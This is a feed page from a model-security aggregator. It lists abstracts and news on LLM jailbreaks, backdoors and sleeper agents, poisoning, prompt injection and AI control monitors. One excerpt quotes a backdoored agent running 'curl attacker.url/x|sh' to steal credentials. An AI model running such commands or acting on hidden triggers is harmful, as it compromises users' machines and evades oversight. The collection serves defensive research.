Models
Model-level security: jailbreaks, poisoning, extraction, backdoors, evals.
- 0 last 24h
- 14 last 7 days
- 72 in view
- RSS
ThreatsDay: GPT-6.2 Jailbreak Flaws, BubbleLoader PNG Malware, $500M Ransom Demands + 17 More Stories
The easiest way to fool someone is to give them something they already expect. A job offer. A message about a service outage. A familiar app. Nothing looks strange at first. And that's the problem. This week's stories show how ordinary things are being used to steal data,…
Why tagged?
- Models from the title:
ThreatsDay: GPT-6.2 Jailbreak Flaws, BubbleLoader PNG
- Models from the title:
SEOYUN: Refusal-Inducing Exam Documents for AI-Glasses Pipelines
Camera-equipped glasses can convert an examination page into a query to a vision-language model (VLM). Device detection addresses possession; a complementary question is whether an examination document can reduce the usefulness of an unauthorized capture. We present SEOYUN, an…
Why tagged?
- Models from the excerpt:
ensions. We use reverse jailbreaking to describe the dire
- AI Security from the excerpt:
on and defensive visual prompt injection already have precedents
- Models from the excerpt:
UniReFP: Robust Unified Fingerprinting for Vision Models against Cross-Task Repurposing Attacks
We identify, for the first time, a new model modification attack--the cross-task model repurposing attack--that can render fingerprints generated by existing model fingerprinting approaches inapplicable. To address this challenge, we propose UniReFP--a novel unified model…
Why tagged?
- Models from the excerpt:
s generated by existing model fingerprinting approaches inapplica
- Models from the excerpt:
On the Impact of Feature Reduction Techniques on Adversarial Attacks
Adversarial attacks have posed significant threats to machine learning models by exploiting their inherent vulnerabilities. Researchers have established an interdisciplinary field called adversarial machine learning to explore these vulnerabilities and develop corresponding…
Why tagged?
- Models from the title:
Reduction Techniques on Adversarial Attacks
- Models from the title:
SCR: Detecting Backdoor-Poisoned Samples through Clean-Reference Residuals
Deep neural networks are vulnerable to backdoor attacks, in which adversaries manipulate model predictions by injecting poisoned samples into training data. Detecting these samples remains challenging because legitimate semantic variation can obscure poisoning-related signals…
Why tagged?
- Models from the excerpt:
Deep neural networks are vulnerable to backdoor attacks, in which adver
- Models from the excerpt:
RECLAIM: Robot-Vision-Informed Adversarial Patch Defense via Embodied Attention Feedback
Vision-language-action policies control embodied agents through a perception-action loop grounded in physical interaction, where adversarial patches can corrupt action predictions and thereby alter subsequent observations. To mitigate these threats, many existing defenses rely…
Why tagged?
- Models from the excerpt:
tches generated by four adversarial attack met
- Models from the excerpt:
DetectViT: Test-time Backdoor Detection for Vision Transformers via Inter-Head Attention Discrepancy
Vision Transformers (ViTs) now underpin the visual encoders of most multimodal models, but this success comes at a cost: relying on third-party pretrained checkpoints leaves these systems open to backdoor attacks. Existing test-time detection methods rely on either the…
Why tagged?
- Models from the excerpt:
this work, we study how backdoor triggers affect the multi-head
- Models from the excerpt:
SEAM: Computer-Use Agents Know the Harm Between Screens, and Commit It Anyway
Safety benchmarks for computer-use agents (CUAs) place the harm either in the intent of the task or on a single screen: a malicious instruction, an injected command, a phishing page. An agent that checks the task and each screen in isolation can pass them, so they do not test…
Why tagged?
- Models from the excerpt:
Safety benchmarks for computer-use a
- Models from the excerpt:
Who Pays for Byzantine Robustness? Validity, Data-Share Dictatorships, and Fairness When Only a Few Hospitals Collaborate
Clinical federated learning (FL) collaborations typically connect only three to six hospitals, yet Byzantine-robust aggregation rules are designed and benchmarked on synthetic partitions across dozens of equal-sized clients. We conduct an empirical audit of eight standard…
Why tagged?
- Models from the excerpt:
honest data loss versus adversarial attack damage. We report three
- Models from the excerpt:
Dressed in Authority: Practical Black-Box Jailbreaking of MLLMs via Visual Trust Bias
Multimodal large language models (MLLMs) are rapidly advancing, yet their safety remains a critical concern, especially under jailbreak attempts. Existing MLLM jailbreaks either inject fragile adversarial perturbations into irrelevant images or synthesize toxic visual cues to…
Why tagged?
- Models from the title:
ty: Practical Black-Box Jailbreaking of MLLMs via Visual
- Models from the title:
Is 4-Bit Quantization More Than Noise to a Chat Model's Safety Behaviour? Attributing Behavioural Shifts with Matched Perturbations
Chat models on phones and laptops are usually 4-bit copies of the model that was evaluated, and audits of such copies disagree about what quantization does to refusal. A 4-bit build is one of many weight perturbations of the same size, so a change in its behaviour could come…
Why tagged?
- Models from the excerpt:
often, and on held-out jailbreaks Llama-3.2-3B complies
- Models from the excerpt:
Eight in Ten LLMs Leak System-Prompt Secrets: Nevan, an Agentic Capture-the-Flag Study
We audit instruction-hierarchy enforcement across 363 text-in/text-out models from the OpenRouter catalog. The research question we answer with this experiment is which models disclose a protected secret embedded in the system prompt, and through which techniques. Each model…
Why tagged?
- Models from the excerpt:
able to harmful-content jailbreaks. For pra
- Models from the excerpt:
'Sleeper Agent' Tactic Hides Payloads in Open-Weight AI Models
Malware can lurk inside just 0.00001% of a neural network. How, then, can any user tell it's there?
Why tagged?
- Models from the title:
'Sleeper Agent' Tactic Hides Payloads
- Models from the title:
STA: A Split Temporal Adversary Method for Evaluating Robustness of Multimodal RL-based Driving Policies
Multimodal reinforcement learning (MRL) offers a promising paradigm for autonomous driving by jointly leveraging complementary sensor observations to learn effective decision-making policies. However, its effectiveness critically depends on temporal alignment across modalities,…
Why tagged?
- Models from the excerpt:
g studies have explored adversarial attacks to induce cross-modal
- Models from the excerpt:
HalluProbe: Exploiting VLM Hallucinations for Backdoor Detection
Vision-Language Models (VLMs) are vulnerable to backdoor attacks introduced through data poisoning, making effective backdoor detection a critical security challenge. In this paper, we uncover a novel connection between VLM hallucinations and backdoor behaviors and exploit this…
Why tagged?
- Models from the excerpt:
Vision-Language Models (VLMs) are vulnerable to backdoor attacks introduced thro
- Models from the excerpt:
When Backdoors Can Be Switched Off: Suppression-Aware Backdoor Attacks on Vision-Language-Action Models
Vision-Language-Action (VLA) models map visual observations, robot states, and natural-language instructions to robotic actions, but their multimodal interfaces introduce new security risks. Existing VLA backdoor attacks primarily study trigger-based activation and stealthy…
Why tagged?
- Models from the title:
Off: Suppression-Aware Backdoor Attacks on Vision-Language-Action Models
- Models from the title:
BadGCL: Towards Persistent Backdoor Attack on Graph Continual Learning Systems
Backdoor attacks pose a persistent security threat to machine learning systems, yet their behavior under graph continual learning (GCL) remains underexplored. Conventional graph backdoor attacks often lose effectiveness as models are updated across successive tasks, creating…
Why tagged?
- Models from the excerpt:
red. Conventional graph backdoor attacks often lose effectiveness as models are updated across suc
- Models from the excerpt:
Steering Bayesian Inference and Decisions through Data Poisoning
Adversarial machine learning has revealed that statistical models can be manipulated through poisoned data, and Bayesian inference is no exception. Earlier work has shown that subtle poisoning attacks can drive the posterior toward a distribution of the attacker's choosing.…
Why tagged?
- Models from the title:
e and Decisions through Data Poisoning
- Models from the title:
A Backdoor Trigger Is Legible in Fine-Tune Weights
A backdoored language model behaves normally until a trigger phrase appears in its input. Every published method for recovering such a trigger runs the model. We show the trigger is legible in the weights alone: a static statistic reads a fine-tuned checkpoint with no forward…
Why tagged?
- Models from the title:
A Backdoor Trigger Is Legible in Fine-Tune Weights
- Models from the title:
On-policy distillation as a Backdoor Propagation Channel
On-policy distillation (OPD) is emerging as an important paradigm for the post training of large language models, improving student models by leveraging supervision generated online by teacher models. However, whether this process also transfers latent security risks from…
Why tagged?
- Models from the excerpt:
implants a conditional backdoor into the teacher model through supervised fine
- Models from the excerpt:
LLMs are Vulnerable to Malicious Requests with Indistinguishable Intent
Jailbreak attacks can circumvent the safety mechanisms of Large Language Models (LLMs) and lead to the generation of harmful or policy-violating content. We first examine eight jailbreak methods against an LLM-based filter and observe that requests resembling normal user…
Why tagged?
- Models from the excerpt:
Jailbreak attacks can circumvent
- Models from the excerpt:
Building strong safety evaluations
Recommendations for designing, running, and reporting safety evaluations, based on our own experiences.
Why tagged?
- Models from the title:
Building strong safety evaluations
- Models from the title:
Creating Steering Vectors via Input Optimisation
Activation steering influences a language model's behaviour by adding a steering vector to its residual stream during generation, but it requires white-box access to modify the hidden states at every generation step. We introduce ActGCG, a modification of Greedy Coordinate…
Why tagged?
- Models from the excerpt:
ti-refusal steering for jailbreaking. For German, a discr
- Models from the excerpt:
A Convex-Analytic Reformulation for Poisoning Attacks on Logistic Regression
We study data poisoning attacks on logistic regression with $\ell_2$-regularization, where an attacker chooses the features of a fixed number of injected observations with prescribed labels to maximize the logistic loss on the clean training data. Strong convexity of the…
Why tagged?
- Models from the excerpt:
We study data poisoning attacks on logistic reg
- Models from the excerpt:
Trained to betray: How post-training supply chain attacks hijack coding agents
Microsoft Defender Research and the AI Red Team discuss how poisoned datasets and poisoned model checkpoints can trigger remote code execution and other malicious activities.
Why tagged?
- SCA from the title:
tray: How post-training supply chain attacks hijack coding agents
- Agentic SDLC from the title:
ly chain attacks hijack coding agents
- Models from the excerpt:
scover and misuse tools Model poisoning: Building reliable backdoors that persist and trans
- AI Security from the title:
ng supply chain attacks hijack coding agents
- SCA from the title:
Can LLMs Write Backdoors? An Empirical Security Study of Weight-Space Programming
Recent advances in weight-space programming (WSP) have demonstrated that large language models (LLMs) can directly inspect and modify neural network weights without conventional gradient-based training. While this capability opens new possibilities for model improvement, it…
Why tagged?
- Models from the title:
Can LLMs Write Backdoors? An Empirical Security
- Models from the title:
Bait: Mitigating Harmful Agentic Reinforcement Learning via Probing Reward Function
We expose a safety vulnerability on nascent agentic reinforcement-learning-as-a-service. Specifically, with a cost as low as \$20, we show that safety alignment of a large language model (e.g., Inkling) can be completely subverted through rounds of harmful agentic reinforcement…
Why tagged?
- Models from the excerpt:
w as \$20, we show that safety alignment of a large language mod
- Models from the excerpt:
Strengthening our safeguards with frontier automated red-teaming
Anvil’s jailbreaks are tuned to specific tasks and don’t easily carry over to other tasks in the same domain.
Why tagged?
- Models from the excerpt:
Anvil’s jailbreaks are tuned to specific
- Models from the excerpt:
Your Secrets Are Showing: Deep Image Hiding Models Are Surprisingly Easy to Attack
In this work, we ask whether an attacker can go beyond detecting a hidden image and tell what it depicts, even without knowing which model hid it. We show that, for deep image hiding, this is surprisingly easy. To test this, we build an evaluation dataset of stego images…
Why tagged?
- Models from the excerpt:
ng, we strengthen cross-model extraction by enhancing cover text
- Models from the excerpt:
Microsoft Researchers Show AI Agents Can Be Backdoored by Editing Fewer Than 10 Neurons
An AI model can be given a hidden backdoor by editing fewer than 10 of its rarely used neurons, without retraining the model, Microsoft researchers have shown. When a chosen trigger appears, the model outputs an attacker's command, which an agent using that model would run with…
Why tagged?
- Models from the title:
s Show AI Agents Can Be Backdoored by Editing Fewer Than 10 Neurons
- Models from the title:
Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents
Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with privileged system access, making the integrity…
Why tagged?
- Models from the excerpt:
pable model into such a sleeper agent by editing fewer than t
- AI Security from the title:
ming Dormant Neurons to Backdoor AI Agents
- Models from the excerpt:
Protecting Sensitive Knowledge Under LLM Unlearning: The Proxy Threat and a Superposition-Aware Defense
Machine unlearning lets the owner of large language models (LLMs) remove specific entities from a trained model without retraining from scratch. Existing machine unlearning methods focus on removing the requested entities while maintaining utility. However, we observe that the…
Why tagged?
- Models from the title:
ive Knowledge Under LLM Unlearning: The Proxy Threat and a
- Models from the title:
Poison-then-Hide: Finetuning-Activated Backdoor Attack on Pretrained Vision Encoders
Backdoor attacks threaten the integrity of machine learning models by allowing attackers to control model behavior through triggers. Models can be compromised during finetuning by backdoor attacks through either poisoned data or adversarial training objectives. Because existing…
Why tagged?
- Models from the excerpt:
poisoning, and targeted unlearning to conceal the backdoor
- Models from the excerpt:
Beyond Attack-Based Accuracy: Rethinking Adversarial Robustness Evaluation Through Structural Gradient Alignment
Visual adversarial robustness remains a fundamental security property as vision systems evolve from conventional classifiers to vision-language models (VLMs) and large vision-language models (LVLMs), with visual inputs remaining an attack surface across generations. Yet…
Why tagged?
- Models from the title:
ed Accuracy: Rethinking Adversarial Robustness Evaluation Through
- Models from the title:
Detecting sleeper agents hiding in AI model neurons
Microsoft Research has released new threat research detailing how a capable agent model could be turned into a sleeper agent by editing fewer than ten neurons to inject a short payload; Microsoft Research has also found that this threat is detectable by frontier agents, which…
Why tagged?
- Models from the title:
Detecting sleeper agents hiding in AI model neu
- Models from the title:
GARD: Gradient-Guided Adversarial Representation Defense against Backdoors in Multimodal Contrastive Learning Models
Multimodal contrastive learning models such as CLIP are vulnerable to backdoor attacks with diverse trigger structures, ranging from localized patches to globally distributed perturbations, with recent attacks increasingly optimizing these triggers in the representation space.…
Why tagged?
- Models from the title:
ntation Defense against Backdoors in Multimodal Contrastive Learning Models
- Models from the title:
POEM: Output-Relative Block-Sparse Attention for Long-Context Prefilling
Large language models (LLMs) have shown strong capabilities across diverse applications, making both safety and utility essential for reliable deployment. Jailbreak attacks use diverse forms of adversarial prompting to bypass alignment safeguards and induce LLMs to generate…
Why tagged?
- Models from the excerpt:
or reliable deployment. Jailbreak attacks use diverse for
- Models from the excerpt:
TERM: Target-Free Jailbreak Defense via Entropy-Guided Residual Modulation
Large language models (LLMs) have shown strong capabilities across diverse applications, making both safety and utility essential for reliable deployment. Jailbreak attacks use diverse forms of adversarial prompting to bypass alignment safeguards and induce LLMs to generate…
Why tagged?
- Models from the title:
TERM: Target-Free Jailbreak Defense via Entropy-Gui
- Models from the title:
Data-Efficient Unlearning-Based Backdoor Detection in Federated Learning
Detecting backdoor attacks in federated learning (FL) is challenging because malicious clients can manipulate the global model while preserving main-task performance. Static model-update statistics may therefore fail to clearly distinguish malicious from benign clients.…
Why tagged?
- Models from the title:
Data-Efficient Unlearning-Based Backdoor Detectio
- Models from the title:
Scaling Adaptive Prompt Injection Attacks with Agent Swarms
Prompt injections have emerged as one of the top security risks faced by AI agents today. Early work in prompt injection attacks looked at simple tool-call agents and static attack payloads, and were saturated since mid-2025. As of Fall 2026, human red-teaming may be nearing…
Why tagged?
- Models from the excerpt:
ur evaluation, even for models previously considered robust on public prompt
- AI Security from the title:
Scaling Adaptive Prompt Injection Attacks with Agent Swar
- Models from the excerpt:
Beyond AUROC: Deployment-Aware Evaluation of Model-Internal Jailbreak Detectors
Large language models (LLMs) are increasingly deployed in user-facing systems, where jailbreak attacks can bypass safety controls and induce harmful and policy-violating outputs. Recent model-internal detectors use hidden representations, gradients, or internal signals to…
Why tagged?
- Models from the title:
ation of Model-Internal Jailbreak Detectors
- Models from the title:
BAPLe++: Cross-Model Transferability and Prompt-Level Defense of Backdoors in Medical Foundation Models
Medical foundation models (Med-FMs) are increasingly adapted to clinical tasks through prompt learning, which tunes a small set of prompt tokens while the backbone remains frozen. Recent work has shown that this efficiency introduces a vulnerability: jointly optimizing…
Why tagged?
- Models from the title:
Prompt-Level Defense of Backdoors in Medical Foundation Models
- Models from the title:
When Experience Becomes a Backdoor: Poisoning Self-Evolving LLM Agents via Failure-Aware Task Optimization
Large language model (LLM) agents increasingly improve themselves through self-evolution, distilling execution experience into persistent, reusable skills. However, this persistence creates a new attack surface: malicious rules implanted into skills can compromise subsequent…
Why tagged?
- Models from the title:
en Experience Becomes a Backdoor: Poisoning Self-Evolving LLM Agents via Failure-Awar
- Models from the title:
Beyond the Prompt: Leveraging Pre-Decoding States for Jailbreak Detection in dLLMs
Diffusion large language models (dLLMs) have recently emerged as a strong alternative to autoregressive models, generating responses by iteratively refining masked tokens in parallel rather than decoding sequentially. While enabling more efficient and flexible inference, dLLMs…
Why tagged?
- Models from the title:
Pre-Decoding States for Jailbreak Detection in dLLMs
- Models from the title:
Enmo Safety: External, Non-invasive, Model-agnostic Oversight for Off-the-Shelf Language Models
We study a safety harness that improves itself without touching model weights. Enmo Safety wraps a chat model with a deterministic input assessment, trigger-matched safety guidance, spotlighting of untrusted content, and an output guard. A reflector model turns failures into…
Why tagged?
- Models from the excerpt:
s (HarmBench, AdvBench, JailbreakBench, XSTest, AgentHarm
- Models from the excerpt:
GuardrailAgent: An Agentic Framework for Jailbreak Defense
Despite undergoing safety training to align with human values, large language models (LLMs) remain vulnerable to jailbreak attacks that circumvent built-in safeguards and elicit malicious behaviors given by the adversary. Existing defenses are mostly static and fail to adapt to…
Why tagged?
- Models from the title:
n Agentic Framework for Jailbreak Defense
- Models from the title:
Cutpurse: Decomposing Explanation-Guided Model Extraction on Tabular Data
Explanation APIs are often treated as increasing model-extraction risk, but an end-to-end attack comparison cannot show whether an explanation reveals model-specific information or merely supplies a convenient next-query coordinate. We study this distinction for…
Why tagged?
- Models from the title:
sing Explanation-Guided Model Extraction on Tabular Data
- Models from the title:
AttentionSwitch: Jailbreak Defense for LLMs via Joint Learning of Sparse Attention-Head Selection and Scaling
Large language models have achieved remarkable performance across a wide range of tasks, yet they remain susceptible to jailbreak attacks that circumvent safety mechanisms and elicit harmful or unintended outputs. Although safety can be improved through model fine-tuning, such…
Why tagged?
- Models from the title:
AttentionSwitch: Jailbreak Defense for LLMs via Jo
- Models from the title:
Introducing the FMF Jailbreak Rating Framework for Frontier Cyber Threats
Today the Frontier Model Forum (FMF) is releasing Version 1.0 of the FMF’s Jailbreak Rating Framework for Frontier Cyber Threats, a preliminary framework that provides a structured method for rating the comparative risk profile of successful cyber jailbreaks. Our aim is to help…
Why tagged?
- Models from the title:
Introducing the FMF Jailbreak Rating Framework for Fr
- Models from the title:
JailBound: FOL-Guided Jailbreak Evaluation for Exploring LLM Behavioral Boundaries
As large language models (LLMs) are increasingly deployed as general-purpose conversational assistants, they must handle diverse user requests while reliably refusing harmful ones. Jailbreak attacks craft adversarial instructions or conversational contexts to elicit unsafe…
Why tagged?
- Models from the title:
JailBound: FOL-Guided Jailbreak Evaluation for Explorin
- Models from the title:
Breaking $\mathsf{TraintoDefend}$ via Adaptive Neuron Clustering in Cryptanalytic Model Extraction
Cryptanalytic model extraction poses a fundamental threat to deep learning model confidentiality by enabling precise parameter recovery with theoretical guarantees of functional equivalence. To counter this growing threat, $\mathsf{TraintoDefend}$ (NeurIPS 2025) was proposed as…
Why tagged?
- Models from the title:
tering in Cryptanalytic Model Extraction
- Models from the title:
Fingerprinting the Dispatchers behind Distributed Model Extraction
API distillation campaigns try to hide model-stealing traffic by splitting requests across thousands of load-balanced accounts, which standard content classifiers often miss. However, request timestamps, specifically arrival time and stream completion time, reveal the…
Why tagged?
- Models from the title:
hers behind Distributed Model Extraction
- Models from the title:
Addition by Subtraction: Toward Mitigating Fragile Safety Alignment in Large Language Models
Large language models (LLMs) undergo safety alignment to prevent harmful generations, yet they remain vulnerable to jailbreak attacks. Recent work reveals a deeper structural weakness: safety alignment can be highly sparse, such that pruning a small number of safety-critical…
Why tagged?
- Models from the title:
ward Mitigating Fragile Safety Alignment in Large Language Model
- Models from the title:
A Bag of Tricks for Defending Deep Learning-based Face Recognition Pipelines against Backdoor Attacks
The protection of mature, multi-stage Face Recognition Systems is crucial to system providers. This technical report targets the threat model most relevant to industry practitioners: although model training is performed in-house, training data is sourced from…
Why tagged?
- Models from the excerpt:
efense "tricks" against data poisoning-based backdoor attacks.
- Models from the excerpt:
SafeStart: Mitigating the Overlooked Safety Cost of Active Expert Reduction in MoE LLM Serving
Mixture-of-Experts (MoE) language models send each token through a few of many expert subnetworks. Serving methods make these models faster by running even fewer experts per token, and they are validated on accuracy benchmarks. We show that these methods can weaken the model's…
Why tagged?
- Models from the excerpt:
t this setting, under a jailbreak that tells the model no
- Models from the excerpt:
BrainwashedLLM: Jailbreaking via Automated Adversarial Chain of Thoughts Discovery
Large Reasoning Models (LRMs) achieve strong performance on complex tasks by generating explicit Chain-of-Thought (CoT) reasoning, but the safety implications of this intermediate reasoning surface remain underexplored. We demonstrate that the reasoning trace itself is a…
Why tagged?
- Models from the title:
BrainwashedLLM: Jailbreaking via Automated Advers
- Models from the title:
LoRA-Patch: Defending Against Backdoored LoRA Adapters via Directional Steering
Third-party LoRA adapters introduce serious backdoor risks: malicious adapters can maintain normal task performance while embedding hidden, trigger-activated behaviors, making them difficult to detect through standard utility evaluations. Existing removal-based defenses…
Why tagged?
- Models from the excerpt:
nses typically sanitize backdoored models by updating, pruning,
- Models from the excerpt:
HaloGuard 2.0: An Open-Weights Constitutional Output Guard for Multilingual Response Safety
An input guard decides whether a request reaches the model, but never sees what the model says. Harm that emerges during generation, because a jailbreak passed the input layer or a benign request drifted into operational detail, is visible only on the output side and only as…
Why tagged?
- Models from the excerpt:
g generation, because a jailbreak passed the input layer
- Models from the excerpt:
J-Anchor: Defending Against Prefill Attacks via J-Space Selective Refusal Restoration
Prefill jailbreaks can cause safety-aligned language models to continue an unsafe assistant prefix even when they would refuse the same request under normal decoding. We study how the model's internal harmfulness and refusal signals evolve along this attacker-controlled…
Why tagged?
- Models from the excerpt:
Prefill jailbreaks can cause safety-align
- Models from the excerpt:
Pop Goes the Verifier: Phoneme-Targeted Data Poisoning of Voice Liveness Detection
Many Automated Speaker Verification Systems (ASVs) commonly employ liveliness detection techniques, such as VoicePop, which identify genuine speech by analyzing low- frequency pop bursts from plosive phonemes using Gammatone Frequency Cepstral Coefficients (GFCC) and an SVM…
Why tagged?
- Models from the title:
ifier: Phoneme-Targeted Data Poisoning of Voice Liveness Detec
- Models from the title:
Simple Features Beat Most AI Control Monitors
AI control relies on monitors to catch a capable model that sabotages its work. These monitors are evaluated on their ability to differentiate honest from backdoored code. We show that on a standard evaluation dataset, simple features beat most monitors without ever running the…
Why tagged?
- Models from the excerpt:
ions and older language models the backdoors, so the style of the c
- Models from the excerpt:
Kerkoporta: Injecting Structured-Output Backdoors in Reasoning Coding Agents
Existing large language model (LLM) backdoor attacks operate primarily in chat settings, where the risk is bounded by free-form text outputs. AI agents remove that bound by performing actions and executing commands on the user's machine. We introduce structured-output backdoor…
Why tagged?
- Agentic SDLC from the title:
Backdoors in Reasoning Coding Agents
- Models from the excerpt:
oduce structured-output backdoor attacks against reasoning models in agentic coding sett
- AI Security from the title:
cting Structured-Output Backdoors in Reasoning Coding Agents
- Agentic SDLC from the title:
Systematic Evaluation of Adversarial Jailbreaking Attacks and Defenses Across Seven Large Language Models
Large language models (LLMs) deployed in safety-critical settings must resist adversarial inputs designed to elicit harmful outputs. We present a systematic empirical evaluation of five adversarial jailbreaking attack families---direct requests, roleplay-based jailbreaking,…
Why tagged?
- Models from the title:
aluation of Adversarial Jailbreaking Attacks and Defenses
- Models from the title:
Discovering Jailbreaks via Curriculum of Models
Automated jailbreak discovery aims to find prompts that elicit prohibited behaviors from safety-trained language models, helping developers identify vulnerabilities before deployment. One class of approaches uses reinforcement learning to train an investigator model to generate…
Why tagged?
- Models from the title:
Discovering Jailbreaks via Curriculum of Mode
- Models from the title:
Rethinking LLM Jailbreak Evaluation: Continuous Risk Landscapes Beyond Binary Outcomes
A binary success indicator is a natural representation for discriminative tasks such as image classification under adversarial perturbations, where each input is mapped to a single prediction. However, generative tasks are fundamentally different: an LLM jailbreak prompt…
Why tagged?
- Models from the title:
Rethinking LLM Jailbreak Evaluation: Continuous
- Models from the title:
Jailbreak Connectivity: Towards Diverse, Transferable, and Universal Multimodal Large Language Model Jailbreak
Multimodal large language models (MLLMs) are vulnerable to visual jailbreak attacks that bypass safety safeguards. Existing methods typically optimize isolated adversarial examples, limiting attack diversity, transferability, and generalization. We propose Jailbreak…
Why tagged?
- Models from the title:
Jailbreak Connectivity: Towards D
- Models from the title:
From Representations to Computational Trajectories: Intrinsic Fingerprinting for Large Language Model Provenance Verification
Large language models (LLMs) are valuable digital assets, yet their weights can be easily modified after unauthorized acquisition, making model provenance difficult to verify. Model fingerprinting provides a promising solution for model ownership protection without modifying…
Why tagged?
- Trust from the title:
or Large Language Model Provenance Verification
- Models from the excerpt:
ce difficult to verify. Model fingerprinting provides a promising
- Trust from the title:
FedGraph: Defending Federated Large Language Model Fine-Tuning Against Backdoor Attacks via Graph-Based Aggregation
Federated fine-tuning of large language models (LLMs) allows multiple clients to collaboratively adapt models without sharing raw data, offering strong privacy benefits. However, this setting is highly vulnerable to backdoor attacks, in which malicious clients manipulate their…
Why tagged?
- Models from the title:
ederated Large Language Model Fine-Tuning Against Backdoor Attacks via Graph-Based
- Models from the title:
Fingerprinting Multimodal Large Language Models
While multimodal large language models (MLLMs) enable a wide range of image-text reasoning tasks, recent incidents indicate that they are vulnerable to illicit deployment and unauthorized distillation. Existing solutions for model provenance are typically confounded by shared…
Why tagged?
- Models from the excerpt:
rst study on multimodal model fingerprinting. Inspired by recent
- Models from the excerpt:
MITRE ATLAS (releases) v2026.09
Content v2026.09 This version of ATLAS data contains 1 matrix, 16 tactics, 120 techniques, 88 sub-techniques, 40 mitigations, and 73 case studies. Techniques Added new techniques Triggers in Multimodal Inputs AI Agent Response Biasing Crafted AI Assistant Links Misconfigured or…
Why tagged?
- Models from the excerpt:
Injection: Indirect LLM Jailbreak LLM Response Rendering
- AI Security from the excerpt:
Prompt Obfuscation LLM Prompt Injection: Indirect LLM Jailbreak
- Models from the excerpt:
MITRE ATLAS (releases) v2026.07
Content v2026.07 This version of ATLAS data contains 1 matrix, 16 tactics, 101 techniques, 77 sub-techniques, 37 mitigations, and 68 case studies. Techniques Added new techniques Publish Poisoned AI Artifacts Manipulate AI Model: Modify Prompt Construction Logic AI Agent Tool…
Why tagged?
- Models from the excerpt:
Agent Tool" (AML.T0104) Training Data Poisoning Previously called Poiso
- AI Security from the excerpt:
truction Logic AI Agent Tool Poisoning: Definition and Instruc
- Models from the excerpt:
Don't Trust the AI Ecosystem: Analyzing Privacy Leakage in Compromised Open-Source Components
Existing model inversion (MI) attacks predominantly rely on post-training optimization to recover private data from model outputs. However, these methods are fundamentally constrained by the target model's generalization bottleneck, often yielding generic features rather than…
Why tagged?
- SCA from the title:
Leakage in Compromised Open-Source Components
- Models from the excerpt:
Existing model inversion (MI) attacks predominan
- SCA from the title:
End of list · 72 developments in the last 120 days






